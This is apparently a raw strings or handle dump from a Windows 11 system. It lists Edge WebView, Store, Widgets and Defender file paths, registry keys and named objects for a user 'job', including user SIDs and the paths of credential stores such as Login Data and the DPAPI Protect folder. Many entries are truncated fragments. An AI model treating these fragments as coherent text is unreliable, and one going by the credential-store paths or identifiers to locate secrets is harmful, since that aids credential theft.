\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\WebStorage\QuotaManager \Sessions\1\AppContainerNamedObjects\S-1-15-2-350187224-1905355452-1037786396-3028148496-2624191407-3283318427-1255436723 \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\webview2_integration.dll \Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Cache\Cache_Data\data_0 \Users\job\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GraphiteDawnCache\index \Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Cache\Cache_Data\data_1 \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\v8_context_snapshot.bin \Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\FontCache-FontSet-S-1-5-18.dat \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\icudtl.dat \Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG1 \Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.33728.0_x64__8wekyb3d8bbwe\vcruntime140_1.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Mu\Cryptomining \Sessions\1\AppContainerNamedObjects\S-1-15-2-350187224-1905355452-1037786396-3028148496-2624191407-3283318427-1255436723 \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\WidevineCdm\manifest.json \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\resources.pak \Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG2 \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge_200_percent.pak \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\StartMenu.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge_100_percent.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\v8_context_snapshot.bin \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge_100_percent.pak \Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7705_none_85b39051f7b2640a \Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\IrisService.dll \Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.33728.0_x64__8wekyb3d8bbwe\vcruntime140.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge_200_percent.pak \ProgramData\Microsoft\Windows\LfSvc\Geofence\GeofenceApplicationID.dat \Users\job\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat.LOG1 \Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\WinRTTurboModule.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\en-US.pak \??\C:\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat \Users\job\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat.LOG2 \Sessions\1\AppContainerNamedObjects\S-1-15-2-1609473798-1231923017-684268153-4268514328-882773646-2760585773-1760938157 \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Mu\Fingerprinting \Sessions\1\AppContainerNamedObjects\S-1-15-2-1609473798-1231923017-684268153-4268514328-882773646-2760585773-1760938157 \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Steps-Recorder.evtx \Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadatawinmd \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\vcruntime140.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe ^Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Shared Dictionary\cache \Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\Microsoft.Windows.Widgets.Internal.winmd \Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Steps-Recorder.evtx \Sessions\1\AppContainerNamedObjects\S-1-15-2-1609473798-1231923017-684268153-4268514328-882773646-2760585773-1760938157 \Windows\System32\en-US\Windows.Security.Authentication.Web.Core.dll.mui \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\settings.db \Users\job\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\data_1 \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\vcruntime140_1.dll \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\data_0 \Users\job\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat \Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\hermes.dll \ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe\ActivationStore.dat \ProgramData\Microsoft\Windows Defender\Scans\mpcache-DADA29A4EF6E5A2D592C68A16E563385C71EF9D9.bin.91 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\data_0 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\data_2 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\index \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\data_1 Microsoft.StartExperiencesApp_8wekyb3d8bbwe!MicrosoftStart!!MicrosoftStartDailyWonderWidgets \Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Microsoft.ReactNative.dll \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\data_2 \Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Cortana.Settings.winmd \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\AppsIndex.db ISTRY\USER\S-1-5-21-39148898 x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7705_none_85b39051f7b2640a} \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\data_3 \Windows\ImmersiveControlPanel\SystemSettingsViewModel.Desktop.dll \Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\Microsoft.Windows.Widgets.winmd \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\index \Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Windows\Safety\network\local\sinkholeCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\LocalState\store.db \Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7824_none_3e0870b2e3345462 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\AppsIndex.db-wal \Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.26100.7309_none_cf9c45068ea8c077\comctl32.dll \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\data_3 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\AppsIndex.db-shm \Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\resources.pri \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Favicons \Program Files\WindowsApps\Microsoft.UI.Xaml.2.8_8.2501.31001.0_x64__8wekyb3d8bbwe\resources.pri \Windows\Microsoft.NET\Framework64\v4.0.30319\WorkflowServiceHostPerformanceCounters.dll \Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthProxyStub.dll \Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthCore.dll \Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7705_none_85b39051f7b2640a\comctl32.dll rosoft-Windows-Client-Deskto_Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Program Files\VMware\VMware Tools\plugins\vmusr\darkModeSync.dll \Program Files\WindowsApps\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe\resources.pri \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Sigma\Fingerprinting \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\ServerCertificate \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe\resources.pri \Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Payments.dll \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Favicons \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Sigma\Cryptomining \Users\job\AppData\Roaming\Microsoft\Protect\S-1-5-21-3914889805-4071901059-918772286-1001\Preferred \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\icudtl.dat \Users\job\AppData\Local\Comms\Unistore\data\AggregateCache.uca \Windows\ShellComponents\WindowsInternal.ComposableShell.DesktopHosting.dll \ProgramData\Microsoft\Windows Defender\Scans\mpcache-DADA29A4EF6E5A2D592C68A16E563385C71EF9D9.bin.9C \Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\WidgetService\WidgetService.exe \Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7824_none_3e0870b2e3345462 \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Sigma\Staging \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\parcel_tracking_db\LOCK \LOG \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\shared_proto_db\metadata dbtmp \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\shared_proto_db\metadata \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Cache\Cache_Data\f_00001d \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Web Data State\MANIFEST-000017 \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Sigma\Cryptomining \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Sigma\Fingerprinting racking_db Cryptomining Content \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy\ActivationStore.dat \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Mu\TransparentAdvertisers Analytics Advertising \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy\ActivationStore.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Extension State\LOG.old preloaded_data.pb CompatExceptions \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres tionStore.dat.LOG2 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\GPUCache\data_1 CURRENT \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\MEIPreload \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\BrowsingTopicsState RF100d6.TMP Extension State Other Sigma shared_proto_db WidevineCdm \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG1 ate\MANIFEST-000015 metadata LOCK seguisb.ttf LOG.old LOCK CURRENTdbtmp 000010.ldb LICENSE LOG.old \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\en\FileSync.LocalizedResources.dll.mui:WofCompressedData es~RF102d9.TMP WerFault.exe \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\WebStorage\QuotaManager-journal {F04627C9-2C7C-41B9-BEBD-E6202A73C6BA}-{00000000-0000-0000-0000-000000000000}-{00000000-0000-0000-0000-000000000000} ((EventClass \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\GPUCache\index \000022.dbtmp \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Shared Dictionary\db 4.log \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Shared Dictionary\db ST-000022 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\ScriptCache\index-dir\the-real-index \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat proto_db\000021.log .Client.CBS_1000 __cw5n1h2txyewy S-1-5-21-3914889805-4071901059-918772286-1001 S-1-15-2-283421221-3183566570-1718213290-751554359-3541592344-2312209569-3374928651 \Device\HarddiskVolume3\ProgramData\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\81d060ca2aba6fa4.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Login Data rnal 000024.log \Device\HarddiskVolume3\ProgramData\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\81d060ca2aba6fa4_COM15.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\GPUCache oto_db\MANIFEST-000019 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\Database\CURRENT~RFdc27.TMP 286-1001.pckgdep \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\IndexedDB\https_www.bing.com_0.indexeddb.leveldb CURRENTdbtmp sppc.dll.mui \WINDOWS\Explorer.EXE SysListView32 000024.ldb Trust Tokens \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Site Characteristics Database\LOG old~RFdbd9.TMP prnms014.inf \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\IndexedDB\https_www.bing.com_0.indexeddb.leveldb\LOCK \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Cache\Cache_Data\data_1 blic \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Local Storage\leveldb\000022.ldb \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Local Storage\leveldb\000022.ldb \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\GPUCache\data_1 CURRENT \Device\HarddiskVolume3\ProgramData\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\81d060ca2aba6fa4_COM15.dat \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\Microsoft.Windows.Widgets.Internal.winmd:WofCompressedData \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\IndexedDB\https_www.bing.com_0.indexeddb.leveldb\LOCK \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Sigma\Entities \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Site Characteristics Database\MANIFEST-000019 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Site Characteristics Database\MANIFEST-000019 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\DawnWebGPUCache\data_2 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\GPUCache\data_0 CURRENT WV2Local Credentials \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Local Storage\leveldb\CURRENT~RFe0ca.TMP \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep LOG1 tics Database\000020.log 63}\0003 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\settings.db \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Sigma\Entities \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\index store.dat .pckgdep C_932.NLS annel-handle=1992 /prefetch:13 /pfhostedapp:a558757a2a6beecd631aec818273c1c2997db5cf \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\DawnWebGPUCache\data_3 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\DawnWebGPUCache\data_3 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\AppsIndex.db-shm bGPUCache\data_2 \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy\SharedUtilities.Stub.BackgroundTasks.dll WIN://SYSAPPID Microsoft.HEVCVideoExtension_8wekyb3d8bbwe IndexedDB 63}\0001 \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy\SharedUtilities.Stub.BackgroundTasks.dll \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\IndexedDB\https_www.bing.com_0.indexeddb.leveldb\000005.ldb 000021.l CicLoaderWndClass \Program Files\Common Files\microsoft shared FullTrustApp \Users\job\AppData\Local\Microsoft\GameDVRrt 0000000006a80001 FullTrustApp FullTrustApp SystemTray_Main \REGISTRY\MACHINE\Software\Classes\PackagedCom \ProgramData\Microsoft\IdentityCRL\production FullTrustApp Security-System-Capability-enterpriseCloudSSO wsxpacks.json WPDShServiceObject \ProgramData\Microsoft\Network\Downloader FullTrustApp MicMuteHotkey FullTrustApp FullTrustApp FullTrustApp BatteryMeterTest DeferredAnimationOperationsComplete.4124.4788 FullTrustApp SMSvcHost 4.0.0.0_Perf_Library_Lock_PID_1694 MicrosoftStart .NET CLR Networking_Perf_Library_Lock_PID_1694 AnimatedFacadePropertyChangesComplete.4124.4788 FullTrustApp MSDTC Bridge 4.0.0.0_Perf_Library_Lock_PID_1694 UIA_HWNDXOffset MicrosoftStart UIA_HWNDYOffset UIA_HWNDWidth .NET Memory Cache 4.0_Perf_Library_Lock_PID_1694 FullTrustApp FullTrustApp UIA_HWNDHeight MpEvent-08F30DB5-A3A1-D862-4AA2-92E1699B22C5 \REGISTRY\MACHINE\Software\Microsoft\Ole ComboBoxEx32 YEWY MS_WebcheckMonitor Security-System-Capability-packageManagement IMpService77BDAF73-B396-481F-9042-AD358843EC24 \Program Files (x86)\Windows NT\Accessories \Windows\System32\spool\drivers\W32X86\PCC C:\WINDOWS\AppCompat\Program EdgeJourneys.db FullTrustApp IDA0: ESENT Performance Data Schema Version 309 FullTrustApp FullTrustApp Go0: ESENT Performance Data Schema Version 309 FullTrustApp FullTrustApp FullTrustApp prnms003.inf FullTrustApp \Users\job\AppData\Local\Microsoft\Windows\Burn FullTrustApp GDA: ESENT Performance Data Schema Version 309 MicrosoftStart MicrosoftStart FullTrustApp \REGISTRY\MACHINE\Software\Microsoft\Ole MSCTFMSAAIgnore FullTrustApp Wnd_StartFeed CortanaUI MicrosoftStart MicrosoftStart Users\job\AppData\Local\Microsoft\OneDrive MicrosoftStart \ProgramData\Microsoft\Windows\WER\ReportArchive MicrosoftStart \REGISTRY\MACHINE\Software\Classes\PackagedCom MicrosoftStart ChevronHotkey MicrosoftStart FullTrustApp CortanaUI MicrosoftStart \Users\Default\AppData\Local\Microsoft\Windows \Device\HarddiskVolume3\Windows\SystemApps\ {958DA730-EDB5-43CE-8A56-776CCC5AB7E1}-request \Device\HarddiskVolume3\Users\job\AppData CortanaUI \Users\job\AppData\Roaming\Microsoft\Credentials CortanaUI \Device\HarddiskVolume3\Users\job\AppData GDI+ Accessibility CortanaUI MicrosoftStart \Users\job\AppData\Local\Microsoft\Credentials Siloe8c00ed1-9faf-d816-d6cb-ab5d1d814ad0user_sid DialCustomFonts Silof4593ea5-87de-db06-313e-b59deeb5b394user_sid __StartScreenManagerWindowRegisteredEvent__ 5-21-3914889805-4071901059-9 ntprint.inf_loc FullTrustApp CortanaUI MicrosoftStart MicrosoftStart FullTrustApp TEM:ntprint.inf_amd64_53c764 prnms003.inf FullTrustApp FullTrustApp FullTrustApp FullTrustApp FullTrustApp FullTrustApp FullTrustApp FullTrustApp FullTrustApp FullTrustApp FullTrustApp Security-System-Capability-inputInjection MMF_BITS3e7fde01-e005-48be-abf0-d69669859e7d \Device\HarddiskVolume3\Users\job\AppData Security-System-Capability-ShellExperience \Device\HarddiskVolume3\Users\job\AppData FullTrustApp \Users\job\AppData\Local\Microsoft\Windows\1033 FullTrustApp \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe\ActivationStore.dat IDSPCA.json \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Favicons ournal Trials\LOG \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\PersistentOriginTrials\LOG.old container.dat wlidsvcconfig.xml \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\DawnGraphiteCache\data_3 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\DawnGraphiteCache\data_3 wv2winrt.dll data_3 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\data_2 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\data_1 data_2 data_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\data_0 ckgdep .pckgdep \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\AppsIndex.db 70b2e3345462.manifest SearchHost \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.HEVCVideoExtension_2.4.39.0_x64__8wekyb3d8bbwe\x64\HEVCDECODER_STORE.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\data_2 blic \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe\ActivationStore.dat blic \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.HEVCVideoExtension_2.4.39.0_x64__8wekyb3d8bbwe\x64\HEVCDECODER_STORE.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\identity_proxy\stable.copilot.identity_helper.exe.manifest btmp 